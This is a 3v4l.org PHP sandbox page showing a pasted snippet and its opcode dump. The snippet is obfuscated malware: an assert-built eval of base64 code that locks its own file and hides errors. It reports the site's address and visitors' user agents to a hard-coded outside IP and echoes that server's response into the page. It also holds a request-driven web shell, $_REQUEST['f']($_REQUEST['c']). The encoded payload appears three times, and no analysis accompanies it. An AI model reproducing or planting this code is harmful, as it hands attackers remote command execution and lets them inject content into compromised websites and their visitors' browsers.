3v4l.org

run code in 300+ PHP versions simultaneously
<?php //###==### assert("e"."v"."a"."l(b"."a"."s"."e"."6"."4_d"."e"."c"."o"."d"."e('aWYgKCFpc3NldCgkaW5kZ2V0KSkgewpjaG1vZCgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sIDA0NDQpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkpIGRpZSgkX0NPT0tJRVsiY2xpZW50X2NoZWNrIl0pOwppZiAoIWlzc2V0KCRTRVJWRVJbIkhUVFBfQUNDRVBUX0NIQVJTRVQiXSkpIHsKaWYocHJlZ19tYXRjaCgnIS4hdScsIGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKSAkYyA9ICJVVEYtOCI7IGVsc2UgJGMgPSAid2luZG93cy0xMjUxIjsKfSBlbHNlIHsKJGMgPSAkU0VSVkVSWyJIVFRQX0FDQ0VQVF9DSEFSU0VUIl07Cn0KJGQgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKJHUgPSAkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiRkb21haW4gPSAiNzguMTA4LjE4MC4xMjAiOwokdXJsID0gIi9nZXQucGhwP2Q9Ii51cmxlbmNvZGUoJGQpLiImdT0iLnVybGVuY29kZSgkdSkuIiZjPSIuJGMuIiZpPTEmaD0iLm1kNSgiMzI0NDFhMjcxOTBkZGE5NWUwOTVjNTQ3NmE0N2NkNzIiLiRkLiR1LiRjLiIxIik7CmlmKGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpIHsKJGluZGdldCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vIi4kZG9tYWluLiR1cmwpOwplY2hvICRpbmRnZXQ7Cn0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKJGNoID0gY3VybF9pbml0KCJodHRwOi8vIi4kZG9tYWluLiR1cmwpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwokaW5kZ2V0ID0gJHJlc3VsdDsKZWNobyAkaW5kZ2V0Owp9IGVsc2UgewokZnAgPSBmc29ja29wZW4oJGRvbWFpbiwgODAsICRlcnJubywgJGVycnN0ciwgMzApOwppZiAoJGZwKSB7CiAgICAkb3V0ID0gIkdFVCAiLiR1cmwuIiBIVFRQLzEuMVxyXG4iOwogICAgJG91dCAuPSAiSG9zdDogIi4kZG9tYWluLiJcclxuIjsKICAgICRvdXQgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgZndyaXRlKCRmcCwgJG91dCk7CiAgICAkcmVzcCA9ICIiOwogICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsKICAgICAgICAkcmVzcCAuPSBmZ2V0cygkZnAsIDEyOCk7CiAgICB9CiAgICBmY2xvc2UoJGZwKTsKICAgIGxpc3QoJGhlYWRlciwgJGJvZHkpID0gcHJlZ19zcGxpdCgiL1xSXFIvIiwgJHJlc3AsIDIpOwogICAgJGluZGdldCA9ICRib2R5OwplY2hvICRpbmRnZXQ7Cn0KfQokX1JFUVVFU1RbJ2YnXSgkX1JFUVVFU1RbJ2MnXSk7Cn0='))"); //###==### ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Lf2Tp
function name:  (null)
number of ops:  6
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSERT_CHECK                                             
          1        INIT_FCALL                                               'assert'
          2        SEND_VAL                                                 'eval%28base64_decode%28%27aWYgKCFpc3NldCgkaW5kZ2V0KSkgewpjaG1vZCgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sIDA0NDQpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkpIGRpZSgkX0NPT0tJRVsiY2xpZW50X2NoZWNrIl0pOwppZiAoIWlzc2V0KCRTRVJWRVJbIkhUVFBfQUNDRVBUX0NIQVJTRVQiXSkpIHsKaWYocHJlZ19tYXRjaCgnIS4hdScsIGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKSAkYyA9ICJVVEYtOCI7IGVsc2UgJGMgPSAid2luZG93cy0xMjUxIjsKfSBlbHNlIHsKJGMgPSAkU0VSVkVSWyJIVFRQX0FDQ0VQVF9DSEFSU0VUIl07Cn0KJGQgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKJHUgPSAkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiRkb21haW4gPSAiNzguMTA4LjE4MC4xMjAiOwokdXJsID0gIi9nZXQucGhwP2Q9Ii51cmxlbmNvZGUoJGQpLiImdT0iLnVybGVuY29kZSgkdSkuIiZjPSIuJGMuIiZpPTEmaD0iLm1kNSgiMzI0NDFhMjcxOTBkZGE5NWUwOTVjNTQ3NmE0N2NkNzIiLiRkLiR1LiRjLiIxIik7CmlmKGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpIHsKJGluZGdldCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vIi4kZG9tYWluLiR1cmwpOwplY2hvICRpbmRnZXQ7Cn0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKJGNoID0gY3VybF9pbml0KCJodHRwOi8vIi4kZG9tYWluLiR1cmwpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwokaW5kZ2V0ID0gJHJlc3VsdDsKZWNobyAkaW5kZ2V0Owp9IGVsc2UgewokZnAgPSBmc29ja29wZW4oJGRvbWFpbiwgODAsICRlcnJubywgJGVycnN0ciwgMzApOwppZiAoJGZwKSB7CiAgICAkb3V0ID0gIkdFVCAiLiR1cmwuIiBIVFRQLzEuMVxyXG4iOwogICAgJG91dCAuPSAiSG9zdDogIi4kZG9tYWluLiJcclxuIjsKICAgICRvdXQgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgZndyaXRlKCRmcCwgJG91dCk7CiAgICAkcmVzcCA9ICIiOwogICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsKICAgICAgICAkcmVzcCAuPSBmZ2V0cygkZnAsIDEyOCk7CiAgICB9CiAgICBmY2xvc2UoJGZwKTsKICAgIGxpc3QoJGhlYWRlciwgJGJvZHkpID0gcHJlZ19zcGxpdCgiL1xSXFIvIiwgJHJlc3AsIDIpOwogICAgJGluZGdldCA9ICRib2R5OwplY2hvICRpbmRnZXQ7Cn0KfQokX1JFUVVFU1RbJ2YnXSgkX1JFUVVFU1RbJ2MnXSk7Cn0%3D%27%29%29'
          3        SEND_VAL                                                 'assert%28%27e%27+.+%27v%27+.+%27a%27+.+%27l%28b%27+.+%27a%27+.+%27s%27+.+%27e%27+.+%276%27+.+%274_d%27+.+%27e%27+.+%27c%27+.+%27o%27+.+%27d%27+.+%27e%28%5C%27aWYgKCFpc3NldCgkaW5kZ2V0KSkgewpjaG1vZCgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sIDA0NDQpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkpIGRpZSgkX0NPT0tJRVsiY2xpZW50X2NoZWNrIl0pOwppZiAoIWlzc2V0KCRTRVJWRVJbIkhUVFBfQUNDRVBUX0NIQVJTRVQiXSkpIHsKaWYocHJlZ19tYXRjaCgnIS4hdScsIGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKSAkYyA9ICJVVEYtOCI7IGVsc2UgJGMgPSAid2luZG93cy0xMjUxIjsKfSBlbHNlIHsKJGMgPSAkU0VSVkVSWyJIVFRQX0FDQ0VQVF9DSEFSU0VUIl07Cn0KJGQgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKJHUgPSAkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiRkb21haW4gPSAiNzguMTA4LjE4MC4xMjAiOwokdXJsID0gIi9nZXQucGhwP2Q9Ii51cmxlbmNvZGUoJGQpLiImdT0iLnVybGVuY29kZSgkdSkuIiZjPSIuJGMuIiZpPTEmaD0iLm1kNSgiMzI0NDFhMjcxOTBkZGE5NWUwOTVjNTQ3NmE0N2NkNzIiLiRkLiR1LiRjLiIxIik7CmlmKGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpIHsKJGluZGdldCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vIi4kZG9tYWluLiR1cmwpOwplY2hvICRpbmRnZXQ7Cn0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKJGNoID0gY3VybF9pbml0KCJodHRwOi8vIi4kZG9tYWluLiR1cmwpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwokaW5kZ2V0ID0gJHJlc3VsdDsKZWNobyAkaW5kZ2V0Owp9IGVsc2UgewokZnAgPSBmc29ja29wZW4oJGRvbWFpbiwgODAsICRlcnJubywgJGVycnN0ciwgMzApOwppZiAoJGZwKSB7CiAgICAkb3V0ID0gIkdFVCAiLiR1cmwuIiBIVFRQLzEuMVxyXG4iOwogICAgJG91dCAuPSAiSG9zdDogIi4kZG9tYWluLiJcclxuIjsKICAgICRvdXQgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgZndyaXRlKCRmcCwgJG91dCk7CiAgICAkcmVzcCA9ICIiOwogICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsKICAgICAgICAkcmVzcCAuPSBmZ2V0cygkZnAsIDEyOCk7CiAgICB9CiAgICBmY2xvc2UoJGZwKTsKICAgIGxpc3QoJGhlYWRlciwgJGJvZHkpID0gcHJlZ19zcGxpdCgiL1xSXFIvIiwgJHJlc3AsIDIpOwogICAgJGluZGdldCA9ICRib2R5OwplY2hvICRpbmRnZXQ7Cn0KfQokX1JFUVVFU1RbJ2YnXSgkX1JFUVVFU1RbJ2MnXSk7Cn0%3D%5C%27%29%29%27%29'
          4        DO_ICALL                                                 
    5     5      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
162.54 ms | 1400 KiB | 15 Q